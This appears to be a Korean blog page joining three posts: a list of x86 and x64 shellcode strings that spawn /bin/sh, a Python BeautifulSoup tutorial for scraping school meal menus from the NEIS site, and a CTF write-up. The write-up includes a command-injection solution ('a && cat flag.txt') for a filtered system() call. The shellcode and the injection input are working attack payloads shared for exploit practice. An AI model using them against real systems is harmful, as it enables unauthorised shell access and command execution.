반응형
반응형

25 Bytes Shell Code


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




26 Bytes Shell Code


\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80




41 Bytes Shell Code

    setreuid(geteuid(), getreuid()) 포함


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




48 Bytes Shell Code

    \x2f가 없는 쉘코드


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81




x64

23 Bytes Shell Code


\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05




x64

31 Bytes Shell Code


\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05


반응형
반응형

Ubuntu 16.04.3과 Python 3.5.2를 사용하였습니다.

(추후 이 파서를 사용하여 디스코드 봇을 만들때 사용되는 discord.py의 요구사항이 Python 3.4 이상이기 때문)




먼저, Beautifulsoup를 설치해 줍니다.


$pip3 install Beautifulsoup4




급식데이터를 추출할 페이지를 골라야 하는데요.

나이스 홈페이지 또는 해당 학교홈페이지에서 급식데이터를 가져올 수 있습니다.


그러나 학교홈페이지를 이용할 경우 학교홈페이지마다 구조가 약간씩 다르기 때문에,

나이스 홈페이지를 사용하여 진행하도록 하겠습니다.



그럼, 우리에게 필요한 URL을 구해보겠습니다.

(각자의 조건에 맞게 구하세요.)


1. 교육청 주소


나이스 학생서비스(https://stu.use.go.kr/) <----- 이동해 줍니다.



상단에 OOO교육청 이동하기를 통해 자신의 학교가 속한 교육청으로 이동해줍니다.

그리고 URL을 확인합니다. (ex 서울특별시교육청 : https://stu.sen.go.kr)



2. 학교고유코드


나의생활 > 학교안내 > 기본정보 에서 자신의 학교를 검색하고

해당 페이지의 쿠키값을 확인하면 우리에게 필요한 값들을 얻을 수 있습니다.


schulCode=B100000519    #우리가 검색한 학교의 고유 코드이다.

schulKndScCode=04    #01은 유치원, 02는 초등학교, 03은 중학교, 04는 고등학교를 의미한다.

schulCrseScCode=4    #1은 유치원, 2는 초등학교, 3은 중학교, 4는 고등학교를 의미한다.


쿠키값은 EditThisCookie 라는 크롬 확장프로그램을 사용하시면 됩니다.



3. 정확한 주소 구하기


우리는 주간식단 페이지에서 식단을 추출할 것이기에 주간식단 주소를 구해줍니다.

주간식단 주소 : /sts_sci_md01_001.do


이 주소 뒤에 쿼리값으로 위에서 구한 값들과, 아래 값을 담아 보내면 됩니다.


schMmealScCode=2    #1 조식, 2 중식, 3 석식

schYmd=2018.1.1    #2018년 1월 1일이 포함된 한 주(week), '.(점)'주의



4. 주소 확인하기


예시

http://stu.sen.go.kr/sts_sci_md01_001.do?schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04&schMmealScCode=2&schYmd=2017.12.26

위와 같이 자신이 구한 주소를 요청하였을때, 자신이 적은 날짜(schYmd의 값)가 포함된 그 주의 식단이 표시되면 됩니다.




이제 코드를 작성해 봅시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from bs4 import BeautifulSoup
 
 
def get_html(url):
   _html = ""
   resp = requests.get(url)
   if resp.status_code == 200:
      _html = resp.text
   return _html
 
 
def get_diet(code, ymd, weekday):
    schMmealScCode = code #int
    schYmd = ymd #str
 
    URL = (
            "http://stu.sen.go.kr/sts_sci_md01_001.do?"
            "schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04"
            "&schMmealScCode=%d&schYmd=%s" % (schMmealScCode, schYmd)
        )
    html = get_html(URL)
    
    element = html
 
    return element
 
cs


나중에 사용하기 편하게 하기 위해 함수로 만들어 주었습니다.


get_html(url)은 해당 페이지의 html소스를 출력해 주는 함수입니다.


이 소스 하단에

28
29
diet = get_diet(2"2017.12.26")
print(diet)
cs

를 추가하면  2017년 12월 26일 중식에 대한 결과값을 출력해줍니다.


이 코드를 실행하면, 매우 긴 html소스를 볼 수 있습니다.

여기서 우리가 원하는 식단만을 추출해야 합니다.


나이스 홈페이지에 들어가서 소스를 확인하면,

식단이 3번째 tr 태그 안에, td 태그 안에 있는것을 알 수 있습니다.


이를 바탕으로 코드를 추가해 줍시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from bs4 import BeautifulSoup
import re
 
 
def get_html(url):
   _html = ""
   resp = requests.get(url)
   if resp.status_code == 200:
      _html = resp.text
   return _html
 
 
def get_diet(code, ymd, weekday):
    schMmealScCode = code #int
    schYmd = ymd #str
    
    num = weekday + 1 #int 0월1화2수3목4금5토6일
    URL = (
            "http://stu.sen.go.kr/sts_sci_md01_001.do?"
            "schulCode=B100000519&schulCrseScCode=4&schulKndScCode=04"
            "&schMmealScCode=%d&schYmd=%s" % (schMmealScCode, schYmd)
        )
    html = get_html(URL)
    soup = BeautifulSoup(html, 'html.parser')
    element = soup.find_all("tr")
    element = element[2].find_all('td')
    try:
        element = element[num] #num
        element = str(element)
        element = element.replace('[''')
        element = element.replace(']''')
        element = element.replace('<br/>''\n')
        element = element.replace('<td class="textC last">''')
        element = element.replace('<td class="textC">''')
        element = element.replace('</td>''')
        element = element.replace('(h)''')
        element = element.replace('.''')
        element = re.sub(r"\d""", element)
    except:
        element = " "
    return element
 
cs


코드를 설명하면,

25~27: 아까 출력했던 html소스를 beautifulsoup에 넣어주고,

find_all()을 사용하여 tr태그를 추출하고, 추출한 tr태그들중 3번째에서 td태그를 추출합니다. 

이렇게 하면 식단표를 추출해낼 수 있습니다. 여기서 우리가 필요한 것은 1주일 식단이 아닌 하루 식단이기 때문에


29:우리가 요청하는 날짜의 요일번째수의 td태그의 내용을 추출하면 됩다.

(datetime 모듈을 이용하여 요일값을 구하고 +1을 해주면 된다.)


30~39: 불필요한 문자열들이 포함되어 있으므로 모두 제거해 주면 됩니다.


Github : https://github.com/M4ndU/school_meal_parser_python



파서 활용하기 : 

디스코드 챗봇 만들기

step1 바로가기 (http://mandu-mandu.tistory.com/64)

step2 바로가기 (http://mandu-mandu.tistory.com/65)

step3 바로가기 (http://mandu-mandu.tistory.com/66)

step4 바로가기 (http://mandu-mandu.tistory.com/91)


카카오톡 챗봇 만들기

step1 바로가기 (http://mandu-mandu.tistory.com/67)

step2 바로가기 (http://mandu-mandu.tistory.com/68)


디스코드 챗봇 소스 (https://github.com/M4ndU/inhun_discord_chat_bot_2)

카카오톡 챗봇 소스 (https://github.com/M4ndU/inhun_kakao_chat_bot_2)




반응형
반응형

제 2회 TeamH4C CTF 2020 Write-up 보러가기(클릭)



제 1회 TEAMH4C CTF Write Up


[Forensics] ArchiveFun


Stage 1 에서 Stage 10 까지 가야 한다.


stage1.zip 안에 stage2.yz1 이 있다.

yz1 압축파일은 IZArc 라는 프로그램으로 풀 수 있다.


그러면 stage3.zip를 얻을 수 있다.

stage3는 폴더 안에 폴더 안에 폴더...로 있기 때문에 HxD로 열어서 PK시그니처 부터 Dump 해서 zip파일을 만들어 준다.



stage4.zip 안에 힌트와 stage5가 있다.

힌트에는 Compressed by LZMA2 , LZMA2로 압축되어졌다고 한다. 이 압축파일은 7z로 풀 수 있으므로 stage5의 확장자를 7z로 바꾸어 주면 되는데

시그니처 부분이 비워져 있기 때문에 37 7A BC AF 27 1C 를 넣어 주어야 한다.



stage5.7z 안에 힌트와 samefilewithanother.txt 와 stage6.zip이 있다.

stage6.zip 안에는 힌트, samefilewithanother.txt, stage7.zip이 패스워드가 걸려 있다.

여기서 막혔는데 힌트가 printable,글자 수 모름 이라서 5자리까지 brute force 를 했지만 뚤리지 않았다. 

푸신 분은 pkcrack으로 평문공격하면 된다고 하셨다..



[MISC] deasiestone


-와 +로 이루어진 문자열을 준다.

--+----+ -+++-+-- -++----+ -++-+-++ -++--+-+ -++-++-+ --++--++ -+---+-- --++---- -+++-+++ -++-+++- -+++-+-- --++---- -+++-+-- -++-+--- -++--+-+ -+++---- --++-+-- -+-+--+- --++-+-- -+---+-- -+--+--+ -+-+--++ --++--++ -++---++ --++---+ -+++-+-- -++++--+ --+----+

-를 0으로 보고 +를 1로 보았을 때 모두 각 첫 바이트가 0으로 시작하는 ASCII 범위의 값들이기 때문에

- +를 각각 0 과 1로 치환하여 ascii로 바꾸어 주면 된다.


!takem3D0wnt0thep4R4DIS3c1ty!


FLAG : h4c{!takem3D0wnt0thep4R4DIS3c1ty!}



[MISC] Modulation


docx파일을 준다. docx는 zip으로 풀 수 있기 때문에 zip으로 풀어준다.



document.xml 를 보면 가사 속에 HEX값이 있다. 누가 봐도 플래그 값이다.


FLAG : h4c{W0W!!Sunmi_is_b3au7iFul!!}



[MISC] What The Issue


what_issue 라는 파일이 있다.


HxD로 열어보면 hex값이 0과 1로만 이뤄져 있다.


ascii로 WhatarethefullnamesofexploitablevulnerabilitiesinWPA2? 가 나온다.


What are the full names of exploitable vulnerabilities in WPA2? 의 답은 KRACKS 의 풀네임 Key_Reinstallation_Attacks 이다.


FLAG : h4c{Key_Reinstallation_Attacks}



[MISC] ExtremeJPG


용량이 매우 크다. Hxd로 봤을때 jpg의 헤더가 계속 나오는 것을 알 수 있었다.

foremost 명령어를 사용해 jpg파일들을 추출 했다.



1000개의 jpg중 중간에 하나 플래그가 적혀있는 이미지가 있다.



FLAG : h4c{w0w_y0u_kn0w_jp9_f1l3_3nd-s1gn4tur3@@_4nd_g00d..._..4t_pr0gramm1ng..!}



[MISC] Scratch


페이지 소스를 보면

다 nohack 인데 하나만 flag 뒤집은 galf로 되어 있다. 그 값인 IzFzdGhpc3MwbTNraW5kT2ZKb2tlPz8j 를 base64 디코딩 해주면 된다.



#1sthiss0m3kindOfJoke??#


FLAG : h4c{#1sthiss0m3kindOfJoke??#}



[Pwnable] SCIJ



사용자로부터 문자열을 받고 필터링을 한 뒤 /bin/echo 와 사용자로부터 받은 문자열을 붙인다.

그리고 그 것을 system함수로 보내준다.


필터링을 하는 부분에서 &를 필터링 하지 않기 때문에 a && ls를 쓰면

echo a; ls; 와 같은 명령어 사용이 된다.


a && ls 를 보내고, a && cat flag.txt 를 해서 flag를 얻었다



반응형

'CTF Write Up' 카테고리의 다른 글

H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
CODEGATE 2018 OPEN CTF Write-up  (0) 2018.04.06
[EKOPARTY CTF 2017] Malbolge  (1) 2017.09.17
CRC CTF 2017 Write-up  (0) 2017.09.13
Tokyo Westerns CTF 3rd 2017 write up  (0) 2017.09.04

+ Recent posts